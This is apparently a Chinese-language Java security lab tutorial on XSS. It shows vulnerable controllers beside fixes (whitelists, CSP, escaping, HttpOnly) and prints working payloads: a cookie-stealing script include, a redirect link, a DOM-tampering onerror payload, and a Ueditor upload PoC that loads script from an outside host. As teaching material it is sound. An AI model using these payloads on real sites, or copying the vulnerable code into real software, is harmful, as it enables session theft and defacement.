JavaSec-XSS
反射型XSS
简介
XSS(跨站脚本攻击)利用浏览器对服务器内容的信任,攻击者通过在网页中注入恶意脚本,使这些脚本在用户的浏览器上执行,从而实现攻击。常见的XSS攻击危害包括窃取用户会话信息、篡改网页内容、将用户重定向到恶意网站,以及执行恶意操作(如点击劫持和钓鱼攻击)反射型XSS:攻击者通过在URL参数中注入恶意脚本,使服务器将该脚本直接反射回用户浏览器并执行。该攻击一般不涉及数据库,而是通过服务器处理用户请求时立即返回恶意内容
1.GET型
1.探测漏洞标签(用来测试是否存在漏洞)
123<u>A</u>123
1.恶意流量劫持
重定向恶意网站-SEO引流<a href=javascript:window.location.href='http://bilibili.com'>Click Me</a>
其中里面的http://bilibili.com可以替换成实际要攻击的网站
我们点击,发现跳转到b站了
2.窃取用户信息
<a href='/other/cookie.txt' target='_blank'>点击查看</a><script src='/static/js/hackcookie.js'></script>
点击进行查看
发现存在用户ip和cookie等敏感信息
3.篡改网页内容
修改背景颜色为红色<img src οnerrοr=javascript:document.getElementsByClassName('layuimini-container')[0].style.backgroundColor='red'>
POST型同上
2.String型
发现直接弹出页面
缺陷代码
// 原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果
public R vul1(String content) {return R.ok(content);
}
// R 是对返回结果的封装工具util
// 返回结果:
// {
// "msg": "<script>alert(document.cookie)</script>",
// "code": 0
// }
// payload在json中是不会触发xss的 需要解析到页面中// 原生漏洞场景,未加任何过滤,Controller接口返回String类型结果
public String vul2(String content) {return content;
}
3.Content-Type问题
1.textplain: 浏览器在获取到这种文件时并不会对其进行处理,将文件设置为纯文本的形式
2.texthtml:浏览器在获取到这种文件时会自动调用html的解析器对文件进行相应的处理
缺陷代码
// Tomcat内置HttpServletResponse,Content-Type导致反射XSS
public void vul3(String type,String content, HttpServletResponse response) {switch (type) {case "html":response.getWriter().print(content);response.setContentType("text/html;charset=utf-8");response.getWriter().flush();break;case "plain":response.getWriter().print(content);response.setContentType("text/plain;charset=utf-8");response.getWriter().flush();...}
}
4.安全场景
1.用户输入验证和过滤
前端白名单:在前端代码中执行,用于过滤或验证用户输入的数据,UI友好,不安全,容易被绕过
后端白名单:后端业务逻辑处理或数据支持化层面执行,更安全,不易绕过
安全代码
// 对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据
// 前端校验代码
var whitelistRegex = /^[a-zA-Z0-9_\s]+$/;// 检查输入值是否符合白名单要求
if (!whitelistRegex.test(value)) {layer.msg('输入内容包含非法字符,请检查输入', {icon: 2, offset: '10px'});return false; // 取消表单提交} else {// 正常发送请求}// 后端校验代码
private static final String WHITELIST_REGEX = "^[a-zA-Z0-9_\\s]+$";
private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX);Matcher matcher = pattern.matcher(content);
if (matcher.matches()){return R.ok(content);
}else return R.error("输入内容包含非法字符,请检查输入");
2.内容安全策略-CSP防护
内容安全策略(CSP:Content Security Policy)是一种由浏览器实施的安全机制(可理解为额外的安全层),旨在减少和防范跨站脚本攻击等安全威胁核心原理:网站通过发送一个CSP header头部(也可以在html直接设置),告诉浏览器具体的策略(什么是授权的与什么是被禁止的),从而防止恶意内容的加载和执行CSP 指令说明:default-src: 指定默认的加载内容的来源,如果未指定其他指令,则默认应用此指令script-src: 指定允许加载 JavaScript 的来源style-src: 指定允许加载样式表的来源img-src: 指定允许加载图片的来源connect-src: 指定允许向其发送请求的来源(例如 AJAX、WebSocket 连接等)
安全代码
// 内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行
// 前端Meta配置
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://apis.example.com; style-src 'self' https://fonts.googleapis.com; img-src 'self' data: https://*.example.com;">// 后端Header配置
public String safe2(String content,HttpServletResponse response) {response.setHeader("Content-Security-Policy","default-src self");return content;
}
3.特殊字符实体转义
实体编码(Entity Encoding)是一种将特殊字符转换为HTML实体的过程,以确保这些字符能够在HTML文档中正确显示而不会被解释为HTML标记。
常见的实体编码包括将 < 转换为 < 将 > 转换为 > 等。
PS:这里前端实体编码Demo放到了存储型XSS模块中
安全代码
// 特殊字符实体转义是一种将HTML中的特殊字符转换为预定义实体表示的过程
// 这种转义是为了确保在HTML页面中正确显示特定字符,同时避免它们被浏览器误解为HTML标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞
public R safe3(@ApiParam(String type, String content) {String filterContented = "";switch (type){case "manual":content = StringUtils.replace(content, "&", "&");content = StringUtils.replace(content, "<", "<");content = StringUtils.replace(content, ">", ">");content = StringUtils.replace(content, "\"", """);content = StringUtils.replace(content, "'", "'");content = StringUtils.replace(content, "/", "/");filterContented = content;break;case "spring":filterContented = HtmlUtils.htmlEscape(content);break;...}
}
4.HttpOnly配置
单个接口配置:并非所有的cookie都必须设置为HttpOnly,可能有一些cookie是需要客户端JavaScript访问的,例如用于前端操作或分析目的的cookie全局配置场景:在整个应用程序中所有的cookie都具有HttpOnly属性,可以考虑在全局配置中进行设置
使用HttpOnly并不是绝对安全的,以下三个场景还是会存在安全问题:1、当攻击者使用CSRF+XSS进行攻击时,可绕过绕过浏览器的安全限制2、中间人攻击3、恶意浏览器插件
安全代码
// HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险
// 单个接口配置
public R safe4(String content, HttpServletRequest request,HttpServletResponse response) {Cookie cookie = request.getCookies()[ueditor];cookie.setHttpOnly(true); // 设置为 HttpOnlycookie.setMaxAge(600); // 这里设置生效时间为十分钟cookie.setPath("/");response.addCookie(cookie);return R.ok(content);
}// 全局配置
// ueditor、application.yml配置
server:servlet:session:cookie:http-only: true// 2、Springboot配置类
@Configuration
public class ServerConfig {@Beanpublic WebServerFactoryCustomizer<ConfigurableWebServerFactory> webServerFactoryCustomizer() {return factory -> {Session session = new Session();session.getCookie().setHttpOnly(true);factory.setSession(session);...
}
存储型XSS
简介
存储型XSS:攻击者将恶意脚本上传到目标网站的数据库,用户访问网站时执行这些恶意脚本,达到攻击目的。该攻击经过服务器和数据库
1.漏洞场景:原生无过滤
漏洞场景:用户交互的地方:get、post、headers、反馈与浏览、富文本编辑器、标签插入和自定义数据输出的地方:用户资料、关键词、评论、留言、关键词、标签、说明、文件上传
缺陷代码
/ 原生漏洞场景,未加任何过滤,将用户输入存储到数据库中
// Controller层
public R vul(String content,HttpServletRequest request) {String ua = request.getHeader("User-Agent");final int code = xssService.insertOne(content,ua);...
}
// Service层
public int insertOne(String content, String ua) {final int code = xssMapper.insertAll(content,ua,DateUtil.now());return code;
}
// Mapper层
int insertAll(String content,String ua,String date);<insert id="insertAll">insert into xss(content,ua, date)values (#{content,jdbcType=VARCHAR},#{ua,jdbcType=VARCHAR}, #{date,jdbcType=VARCHAR})
</insert>
2.安全场景:前端实体转义
前端实体转义就是将可能是包含HTML标签的内容,先中转存储为纯文本,当浏览器进行渲染时,会将纯文本内容中特殊字符进行实体转义(浏览器策略),确保可以正确展示
// 表格数据渲染
table.render({...cols: [{field: 'id', title: 'ID', sort: true, width: '60', fixed: 'left'},{field: 'content', title: 'Content', width: '200', templet: function(d){return escapeHtml(d.content); }},{field: 'ua', title: 'User-Agent', width: '200', templet: function(d){return escapeHtml(d.ua); }},...
// 方法一、HTML 实体转义函数
function escapeHtml(html) {var text = document.createElement("textarea");text.textContent = html;return text.innerHTML;
}
// 方法二、JavaScript的文本节点
var textNode = document.createTextNode(htmlContent);
element.appendChild(textNode);
// 方法三、jQuery的text()方法
$('#element').text(htmlContent);
DOM型XSS
1.简介
DOM(Document Object Model)即文档对象模型,是HTML和XML文档的编程接口 DOM型XSS:攻击者利用客户端的DOM环境,通过操纵页面的DOM元素来注入和执行恶意脚本。该攻击不经过服务器和数据库
一些可能导致DOM XSS的SINK点:document.write()document.writeln()document.domainelement.innerHTMLelement.outerHTMLelement.insertAdjacentHTMLelement.onevent
PS:除此之外,还有URL参数注入、DOM属性注入、document.write、eval等场景,后续会进行补充
其他类型
简介
包含模版引擎解析问题、文件上传特殊文件类型、第三方依赖问题(供应链安全)...
1.漏洞场景:模版引擎解析问题
th:text用于展示纯文本,会对特殊字符进行转义
th:utext则不进行转义,直接展示原始HTML内容
当获取后端传来的参数中带有HTML标签时,th:text不会解析这些标签,而th:utext 会解析并渲染它们。这类似于Vue中的v-text和v-html
缺陷代码
public String handleTemplateInjection(String content,String type, Model model) {if ("html".equals(type)) {model.addAttribute("html", content);} else if ("text".equals(type)) {model.addAttribute("text", content);}return "vul/xss/other";
}<div class="layui-card-body layui-text layadmin-text" style="color: red;font-size: 15px;"><p th:utext="${html}"></p><p th:text="${text}"></p>
</div>
2.漏洞场景:文件上传导致存储XSS
除了文件上传导致存储XSS,xml场景下还需要后端进行xml解析
这里PDF型XSS实际是没有危害的,考虑到合规监管问题,还是放上去了
PS:除此之外,还有flash等漏洞场景,后续会补充
缺陷代码
public String uploadFile(MultipartFile file, String suffix,String path) throws IOException {String uploadFolderPath = sysConstant.getUploadFolder();try {String fileName = +DateUtil.current() + "."+suffix;String newFilePath = uploadFolderPath + "/" + fileName;file.transferTo(new File(newFilePath)); // 将文件保存到指定路径log.info("上传文件成功,文件路径:" + newFilePath);return "上传文件成功,文件路径:" + path + fileName;} catch (IOException e) {e.printStackTrace(); // 打印异常堆栈信息log.info("文件上传失败" + e.getMessage());return "文件上传失败" + e.getMessage();}
}
3.漏洞场景:第三方组件导致XSS-供应链安全
为什么要单独抽出来呢?这里的XSS场景可以看出是由第三方组件导致的,也就引出了所谓的供应链安全(当然不止这些)
风险识别与修复方案?一般企业在DevOps流水线中会嵌入相关安全扫描环境(SCA、SAST、IAST……)进行应用安全扫描针对供应链安全,可使用专门的SCA工具进行软件成分扫描,升级到修复版本或采用非升级修复方案
1.jQuery
在版本[1.2,3.5.0)范围内存在多个XSS漏洞 eg:
CVE-2020-11022
CVE-2020-11023
2.Swagger-ui
在版本内[3.14.1,3.38.0)范围内存在XSS漏洞
3.Ueditor编辑器
poc
拼接路径/ueditor/php/controller.php?action=uploadfileContent-Disposition: form-data; name="upfile"; filename="1.xml"
Content-Type: image/png
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml" src="https://xcjh.ahredcross.org.cn/ueditor/upload/image/20240723/6385736220575785005385782.js">
</something:script>
</body>
</html>或者Content-Type: multipart/form-data; boundary=----WebKitFormBoundary209pDxz5IJ3h3EeJ
> Content-Length: 348
>
> ------WebKitFormBoundary209pDxz5IJ3h3EeJ
> Content-Disposition: form-data; name="upfile"; filename="1.xml"
> Content-Type: image/png
>
> <html>
> <head></head>
> <body>
> <something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
> </something:script>
> </body>
> </html>
> ------WebKitFormBoundary209pDxz5IJ3h3EeJ--
> -----------------------
缺陷代码
// jQuery依赖
<head><meta charset="utf-8"><title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title><!-- 测试JQuery --><script src="/lib/jquery-1.6.1.js"></script><!-- <script src="./jquery.min.js"></script> -->
</head><!--swagger依赖-->
<dependency><groupId>io.springfox</groupId><artifactId>springfox-boot-starter</artifactId><version>3.0.0</version> // 该版本存在xss
</dependency>// Ueditor编辑器未做任何限制 抓上传数据包后,可以上传任意类型文件